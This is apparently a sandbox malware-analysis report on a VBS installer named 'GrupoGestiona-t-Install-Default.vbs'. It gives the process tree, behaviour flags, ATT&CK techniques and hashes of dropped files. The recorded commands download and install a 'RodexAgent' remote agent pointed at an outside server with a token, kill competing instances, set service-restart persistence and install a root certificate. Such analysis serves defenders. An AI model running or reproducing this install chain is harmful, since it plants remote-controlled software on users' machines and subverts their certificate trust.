- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1724,i,16642203540389768498,3412657025220682132,262144 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2096 /prefetch:2
  2⤵
  PID:5812
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=es --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2404,i,12238005191991276538,16559920441088761309,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2560 /prefetch:8
  2⤵
  PID:2148
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3204,i,463356282388456766,4234861452906576388,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3236 /prefetch:1
  2⤵
  PID:4240
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3208,i,1922697062778190339,2246321082096120721,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:1976
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4288,i,5901071637479976504,16801940295164818815,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4296 /prefetch:2
  2⤵
  PID:1640
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5328,i,16792423259006080972,11312916805466475216,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5284 /prefetch:8
  2⤵
  PID:5328
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=5616,i,9420627772674697475,7717514617973120625,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5664 /prefetch:1
  2⤵
  PID:2600
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5952,i,11562673425930875898,2384663547963028251,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5920 /prefetch:1
  2⤵
  PID:216
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5344,i,10107972666586348834,11629755789689389069,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5624 /prefetch:8
  2⤵
  PID:1428
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5696,i,1726551860205682381,16244756345251859073,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5728 /prefetch:8
  2⤵
  PID:1220
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=es --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5700,i,1749537270039187565,3262330147345074365,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5748 /prefetch:8
  2⤵
  PID:1708
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5748,i,7129137449448271658,7437589674677309126,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4264 /prefetch:8
  2⤵
  PID:2228
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
  2⤵
  - Badlisted process makes network request
  - Downloads MZ/PE file
  - Checks computer location settings
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:5204
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1368
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096
      4⤵
      PID:4504
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset list brief 2>nul | findstr /i "pagefile" >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4348
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset list brief
      4⤵
      PID:5100
  - - C:\Windows\system32\findstr.exe
      findstr /i "pagefile"
      4⤵
      PID:4288
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset create name="C:\pagefile.sys" >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6016
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset create name="C:\pagefile.sys"
      4⤵
      PID:4768
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3784
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset where name="C:\\pagefile.sys" set InitialSize=1024,MaximumSize=4096
      4⤵
      PID:4544
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net stop RodexAgent
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3856
  - - C:\Windows\system32\net.exe
      net stop RodexAgent
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4620
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop RodexAgent
        5⤵
        
        PID:5880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /F /IM RodexAgent.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:6008
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM RodexAgent.exe
      4⤵
      Kills process with taskkill
      PID:3448
- - C:\Program Files\Rodex\RodexAgent.exe
    "C:\Program Files\Rodex\RodexAgent.exe" --install --server "https://hirstly.com" --token "cdf4ed76996226f94bd4c87594f53861afb79c8df0661805deed654f7bb3b2b7"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4368
  - - C:\Windows\system32\sc.exe
      sc failure RodexAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
      4⤵
      Launches sc.exe
      PID:2480
  - - C:\Windows\system32\sc.exe
      sc failureflag RodexAgent 1
      4⤵
      Launches sc.exe
      PID:3016
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
  2⤵
  - Badlisted process makes network request
  - Downloads MZ/PE file
  - Checks computer location settings
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:5212
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4808
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096
      4⤵
      PID:4132
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset list brief 2>nul | findstr /i "pagefile" >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5664
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset list brief
      4⤵
      PID:5392
  - - C:\Windows\system32\findstr.exe
      findstr /i "pagefile"
      4⤵
      PID:572
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net stop RodexAgent
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3696
  - - C:\Windows\system32\net.exe
      net stop RodexAgent
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3968
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop RodexAgent
        5⤵
        
        PID:4924
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /F /IM RodexAgent.exe
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3936
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM RodexAgent.exe
      4⤵
      Kills process with taskkill
      PID:392
- - C:\Program Files\Rodex\RodexAgent.exe
    "C:\Program Files\Rodex\RodexAgent.exe" --install --server "https://hirstly.com" --token "cdf4ed76996226f94bd4c87594f53861afb79c8df0661805deed654f7bb3b2b7"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Modifies system certificate store
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:5588
  - - C:\Windows\system32\sc.exe
      sc failure RodexAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
      4⤵
      Launches sc.exe
      PID:5736
  - - C:\Windows\system32\sc.exe
      sc failureflag RodexAgent 1
      4⤵
      Launches sc.exe
      PID:2796
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5336,i,10167611956712539252,9956510088937144159,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6120 /prefetch:1
  2⤵
  PID:4288
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=728,i,4537522680755527330,2552977825430520117,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=6028 /prefetch:8
  2⤵
  PID:2240
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
  2⤵
  - Badlisted process makes network request
  - Checks computer location settings
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:4928
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:604
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096
      4⤵
      PID:5880
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c wmic pagefileset list brief 2>nul | findstr /i "pagefile" >nul 2>&1
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3708
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic pagefileset list brief
      4⤵
      PID:2208
  - - C:\Windows\system32\findstr.exe
      findstr /i "pagefile"
      4⤵
      PID:5672
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c net stop RodexAgent
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4132
  - - C:\Windows\system32\net.exe
      net stop RodexAgent
      4⤵
      PID:1196
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 stop RodexAgent
        5⤵
        
        PID:2716
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c taskkill /F /IM RodexAgent.exe
    3⤵
    PID:620
  - - C:\Windows\system32\taskkill.exe
      taskkill /F /IM RodexAgent.exe
      4⤵
      Kills process with taskkill
      PID:5748
- - C:\Program Files\Rodex\RodexAgent.exe
    "C:\Program Files\Rodex\RodexAgent.exe" --install --server "https://hirstly.com" --token "cdf4ed76996226f94bd4c87594f53861afb79c8df0661805deed654f7bb3b2b7"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    PID:2672
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=es --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=4380,i,3171943851963067267,898421645203335933,2097152 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5540 /prefetch:1
  2⤵
  PID:4792
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=4280,i,17163059376641498963,1127398167505660248,262144 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5760 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4944
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=es --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6120,i,16586464561236957652,3929031622348628768,524288 --field-trial-handle=2100,i,2305043680911181352,238625271150643632,262144 --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=5704 /prefetch:8
  2⤵
  PID:3280

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:2444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:2336

C:\Program Files\Rodex\RodexAgent.exe
"C:\Program Files\Rodex\RodexAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:5676

C:\Program Files\Rodex\RodexAgent.exe
"C:\Program Files\Rodex\RodexAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:2808

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1084

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
1⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Checks computer location settings
- Drops file in Program Files directory
PID:460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
  2⤵
  PID:2696
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096
    3⤵
    PID:4420
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic pagefileset list brief 2>nul | findstr /i "pagefile" >nul 2>&1
  2⤵
  PID:900
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset list brief
    3⤵
    PID:2344
- - C:\Windows\system32\findstr.exe
    findstr /i "pagefile"
    3⤵
    PID:5432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net stop RodexAgent
  2⤵
  PID:2804
- - C:\Windows\system32\net.exe
    net stop RodexAgent
    3⤵
    PID:4840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop RodexAgent
      4⤵
      PID:5368
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM RodexAgent.exe
  2⤵
  PID:5272
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM RodexAgent.exe
    3⤵
    - Kills process with taskkill
    PID:1312
- C:\Program Files\Rodex\RodexAgent.exe
  "C:\Program Files\Rodex\RodexAgent.exe" --install --server "https://hirstly.com" --token "cdf4ed76996226f94bd4c87594f53861afb79c8df0661805deed654f7bb3b2b7"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  PID:5336

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
1⤵
- Badlisted process makes network request
- Checks computer location settings
- Drops file in Program Files directory
PID:2604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
  2⤵
  PID:2892
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096
    3⤵
    PID:5736
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic pagefileset list brief 2>nul | findstr /i "pagefile" >nul 2>&1
  2⤵
  PID:2920
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset list brief
    3⤵
    PID:1452
- - C:\Windows\system32\findstr.exe
    findstr /i "pagefile"
    3⤵
    PID:2124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net stop RodexAgent
  2⤵
  PID:2312
- - C:\Windows\system32\net.exe
    net stop RodexAgent
    3⤵
    PID:5372
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop RodexAgent
      4⤵
      PID:216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM RodexAgent.exe
  2⤵
  PID:4600
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM RodexAgent.exe
    3⤵
    - Kills process with taskkill
    PID:4772

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
1⤵
- Badlisted process makes network request
- Downloads MZ/PE file
- Checks computer location settings
- Drops file in Program Files directory
PID:5060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096 >nul 2>&1
  2⤵
  PID:1620
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset where "MaximumSize<1024" set InitialSize=1024,MaximumSize=4096
    3⤵
    PID:3448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wmic pagefileset list brief 2>nul | findstr /i "pagefile" >nul 2>&1
  2⤵
  PID:5856
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic pagefileset list brief
    3⤵
    PID:5400
- - C:\Windows\system32\findstr.exe
    findstr /i "pagefile"
    3⤵
    PID:6048
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c net stop RodexAgent
  2⤵
  PID:4812
- - C:\Windows\system32\net.exe
    net stop RodexAgent
    3⤵
    PID:1612
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop RodexAgent
      4⤵
      PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /F /IM RodexAgent.exe
  2⤵
  PID:4556
- - C:\Windows\system32\taskkill.exe
    taskkill /F /IM RodexAgent.exe
    3⤵
    - Kills process with taskkill
    PID:5244
- C:\Program Files\Rodex\RodexAgent.exe
  "C:\Program Files\Rodex\RodexAgent.exe" --install --server "https://hirstly.com" --token "cdf4ed76996226f94bd4c87594f53861afb79c8df0661805deed654f7bb3b2b7"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2608
- - C:\Windows\system32\sc.exe
    sc failure RodexAgent reset= 60 actions= restart/5000/restart/10000/restart/30000
    3⤵
    - Launches sc.exe
    PID:5824
- - C:\Windows\system32\sc.exe
    sc failureflag RodexAgent 1
    3⤵
    - Launches sc.exe
    PID:4452

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Downloads\GrupoGestiona-t-Install-Default.vbs"
1⤵
PID:5652

C:\Program Files\Rodex\RodexAgent.exe
"C:\Program Files\Rodex\RodexAgent.exe"
1⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1260

C:\Windows\system32\notepad.exe
"C:\Windows\system32\notepad.exe"
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:5916

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RodexAgent.exe

Path C:\Program Files\Rodex\RodexAgent.exe
Size 7.0MB
SHA256 bd0fe3f97601a1c9699a84009f48ceea7c69dc09871c77fee6836c8a8628d802
MD5 6fbcf3d5da6389372b82cfe6948c69eb
SHA1 fd48236fb880fef636a50cf9b76508921622c2d9
SHA512 1e84eda237cc9417ed814f39890f170c1ef2bd646799c2301f1b170dd1f12291b67c71e91e8600351a469786583cb6aa53b330762e3cf33825b902882424c9c5
SSDEEP 49152:/6bPpKSfgA0lTl5A+vPR2Tw4r4U1Y6pCcvGEJ7rUv0sJcyxZICVOakDlHvKaK1Km:/6NNo5CrGPjxA87umvBh8huT1EmKCj
TLSH
T1E1764913ECA414E9C0BD91358A7796627F617C494B3263D32B90F2283F76BE0ADB9354
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent-service.log

Path C:\Program Files\Rodex\agent-service.log
Size 1KB
SHA256 865c2e97d5f9054d0075b47180b06ca40ea0a951eeb47d2eaeb2542370386f70
MD5 0e465698eccf8014e63b3430736f1932
SHA1 edddae649c3d35200a6afc31db831735567e0cf7
SHA512 96fd11679bb7fe8782fec5906a65b39cb09fcd10094cf3664f6076a1c74d79af74e0ba8d0abb6274952b0a4914f16d05b31a7df10ad988d9534cf2e6c74b400e
TLSH
T18621D35318D249F3CE824400D6C521990B161AAEB65C9E8037DE57C571D732CF3D08EA
MD5 SHA1 SHA512 TLSH

Submit Download

agent-service.log

Path C:\Program Files\Rodex\agent-service.log
Size 2KB
SHA256 02069c96496663870ea0e78b49a99d6fa207e635409e5d55638d66f0faaea8e7
MD5 cacc1b738beca3b7fa7b9dde65c0d897
SHA1 e2423f40042e094ee2e7413f58a1590b639d3277
SHA512 c6b2bbb78ff4d0049e500cf4d220152200e22001d295b076ab77a6daffbb6c96c6d5fa795bbe3cc2825b392c889d3318198442a2ce06becdf01c43c0c8957fc0
TLSH
T14E51E1531CC549F28EC34410E2C9269A0F1B1BACBA2C9D9473DE6EC5B19732CE3918E9
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path C:\Program Files\Rodex\config.json
Size 492B
SHA256 a58469c03b07b06912d4a4faca95e7761b3a7021a06d1901f63617fa8862fb3e
MD5 d64beaa1d03366678554f1513410cca5
SHA1 bbecb0ba5cdd71b831a655666db945ae5c3b705a
SHA512 a96a465a8f431ca1ea33c0f4ffa32215d1261720476893b8f45cfd71f66da76912fd0987c8f0fd403685507af64c381184a49bd498cf33155f7fbb1e5d65deb1
TLSH
T16FF09E62C87704334FD57B725990339C5F050C1B0D99668AB79B1E0FAB0F2F602713A8
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path C:\Program Files\Rodex\config.json
Size 492B
SHA256 2a215c29f923a1f6385dfeb5be762e8a340d813df21b3912b6390c6ed6e048dc
MD5 c611af12b86ddc34401e0554d188a2fd
SHA1 df121547ee6acbcfc8785b2d40b50226904d726d
SHA512 16e5f25682a0ff85a0418ee199a2c8d4347fc99662f3f5b53b6cbe67c0e4899e8e9d40fc4e2ce4ba322569488d60a435102d80ba839e4e9ddcaa207755e2055e
TLSH
T15CF09E62C86704334FD57B725991339C1F050C1B0D99658EB79B1E0FAB0E2F606713A8
MD5 SHA1 SHA512 TLSH

Submit Download

config.json

Path C:\Program Files\Rodex\config.json
Size 492B
SHA256 400d0c0646fff60089d1c7f7a8440188c90401e86c23696d31a0349945a5deff
MD5 72cf90e4150a35512fe056ec4658ecaf
SHA1 8575b7953d1261ad4e259eb93bc6c74ee0907c44
SHA512 4d35e756ae455aab5efc548b38786d1dfd5b9d6588d6d8204717b0764b675177d9758f4b668074be75f510be5fd6cb49e9f309f9bda2a9a58640c29465ac790e
TLSH
T19CF09E61C86B14324FD57B7259A0339D1F050C1B0D99658AB79B1E0FAB0E2F602713E8
MD5 SHA1 SHA512 TLSH

Submit Download

DABA17F5E36CBE65640DD2FE24F104E7

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DABA17F5E36CBE65640DD2FE24F104E7
Size 1KB
SHA256 28689b30e4c306aab53b027b29e36ad6dd1dcf4b953994482ca84bdc1ecac996
MD5 c6150925cfea5941ddc7ff2a0a506692
SHA1 9e99a48a9960b14926bb7f3b02e22da2b0ab7280
SHA512 b3bd41385d72148e03f453e76a45fcd2111a22eff3c7f1e78e41f6744735444e058144ed68af88654ee62b0f117949f35739daad6ad765b8cde1cff92ed2d00c
TLSH
T11621A7910F157601BE87AC8803D6C62B2F3071C0ECAE1408D9738562F5F03E47A9E20C
MD5 SHA1 SHA512 TLSH

Submit Download

DABA17F5E36CBE65640DD2FE24F104E7

